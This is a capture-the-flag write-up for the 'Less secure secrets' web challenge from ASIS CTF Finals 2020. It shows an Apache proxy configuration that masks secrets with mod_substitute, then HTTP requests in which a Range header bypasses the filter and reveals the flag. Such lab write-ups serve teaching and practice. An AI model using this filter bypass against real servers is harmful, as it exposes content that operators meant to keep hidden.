# ASIS CTF Finals 2020 – Less secure secrets
* **Category:** web* **Points:** 71
## Challenge
> Let's warm up!> > https://securesecrets.asisctf.com/
## Solution
The website shows a page like the following.
```html<html>    <head>        <title>Secret protector</title>                <link href="https://fonts.googleapis.com/css2?family=Chilanka&display=swap" rel="stylesheet">        <style>            body{                background-color: #262428;            }            .title-protection{                font-family: "Chilanka";                font-size: 40px;                font-weight: bold;                color: white;                width: 100%;                text-align: center;                height: 400px;                line-height: 400px;            }            iframe{                width: 400px;                height: 300px;                margin-top: -50px;            }            .frame-holder{                text-align: center;                width: 100%;            }        </style>    </head>    <body>        <div>            <div class="title-protection">                Apache powered secret protection. Secure your secrets, with our sample configs.            </div>            <div class="frame-holder">                <iframe src="/secret.html">                </iframe>            </div>            <div>             </div>        </div>    </body></html>```
You can discover the [configs.zip](https://github.com/m3ssap0/CTF-Writeups/raw/master/ASIS%20CTF%20Finals%202020/Less%20secure%20secrets/configs.zip) file with configurations.
Analyzing [`configs/config/proxy/apache_ctf.conf`](https://github.com/m3ssap0/CTF-Writeups/raw/master/ASIS%20CTF%20Finals%202020/Less%20secure%20secrets/configs/config/proxy/apache_ctf.conf) file, you can find a rule that substitute a `secret` tag.
```ServerName proxy
LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.soLoadModule proxy_module /usr/local/apache2/modules/mod_proxy.soLoadModule substitute_module /usr/local/apache2/modules/mod_substitute.soLoadModule proxy_http_module /usr/local/apache2/modules/mod_proxy_http.so
<VirtualHost *:80>    RequestHeader unset Accept-Encoding    ProxyPass / http://main/    ProxyPassReverse / http://main/
    SetEnvIf X-Http-Method-Override ".+" X-Http-Method-Override=$0    RequestHeader set X-Http-Method-Override %{X-Http-Method-Override}e env=X-Http-Method-Override
    SetEnvIf Range ".+" Range=$0    RequestHeader set Range %{Range}e env=Range
    SetEnvIf Via ".+" Via=$0    RequestHeader set Via %{Via}e env=Via
    SetEnvIf If-Match ".+" If-Match=$0    RequestHeader set If-Match %{If-Match}e env=If-Match
    <if "%{REMOTE_ADDR} != '127.0.0.1'">        AddOutputFilterByType INFLATE;SUBSTITUTE;DEFLATE text/html        Substitute s|<secret>(.*)</secret>|Protected|i    </if>     # Send apache logs to stdout and stderr    CustomLog /proc/self/fd/1 common    ErrorLog /proc/self/fd/2</VirtualHost>```
So if you try to read `secret.html` page you will obtain the content with the substitution applied.
```GET /secret.html HTTP/1.1Host: securesecrets.asisctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://securesecrets.asisctf.com/Connection: close
HTTP/1.1 200 OKdate: Fri, 11 Dec 2020 23:23:18 GMTserver: Apache/2.4.46 (Unix)last-modified: Fri, 11 Dec 2020 14:56:25 GMTetag: "36b-5b6317f19aaf3"accept-ranges: bytescontent-type: text/htmlvary: Accept-Encodingconnection: closeContent-Length: 792
<html>    <head>        <title>very secure key</title>                <link href="https://fonts.googleapis.com/css2?family=Chilanka&display=swap" rel="stylesheet">        <style>            body{                background-color:	#2e2e2e;            }            .title-protection{                font-family: "Chilanka";                font-size: 20px;                font-weight: bold;                color: white;                width: 100%;                padding: 40px 100px;                box-sizing: border-box;                text-align: center;                height: 400px;            }        </style>    </head>    <body>        <div>            <div class="title-protection">                Protected            </div>        </div>    </body></html>```
You can use the `Range` HTTP header to exfiltrate the original `secret.html` page.
```GET /secret.html HTTP/1.1Host: securesecrets.asisctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://securesecrets.asisctf.com/Connection: closeRange: bytes=0-1023
HTTP/1.1 206 Partial Contentdate: Fri, 11 Dec 2020 23:25:00 GMTserver: Apache/2.4.46 (Unix)last-modified: Fri, 11 Dec 2020 14:56:25 GMTetag: "36b-5b6317f19aaf3"accept-ranges: bytescontent-length: 875content-range: bytes 0-874/875content-type: text/htmlconnection: close
<html>    <head>        <title>very secure key</title>                <link href="https://fonts.googleapis.com/css2?family=Chilanka&display=swap" rel="stylesheet">        <style>            body{                background-color:	#2e2e2e;            }            .title-protection{                font-family: "Chilanka";                font-size: 20px;                font-weight: bold;                color: white;                width: 100%;                padding: 40px 100px;                box-sizing: border-box;                text-align: center;                height: 400px;            }        </style>    </head>    <body>        <div>            <div class="title-protection">                <secret>What??? You want the first secret? I think it's "ASIS{L3T5_S74rT_7h3_fUn}".</secret>            </div>        </div>    </body></html>```
The flag is the following.
```ASIS{L3T5_S74rT_7h3_fUn}```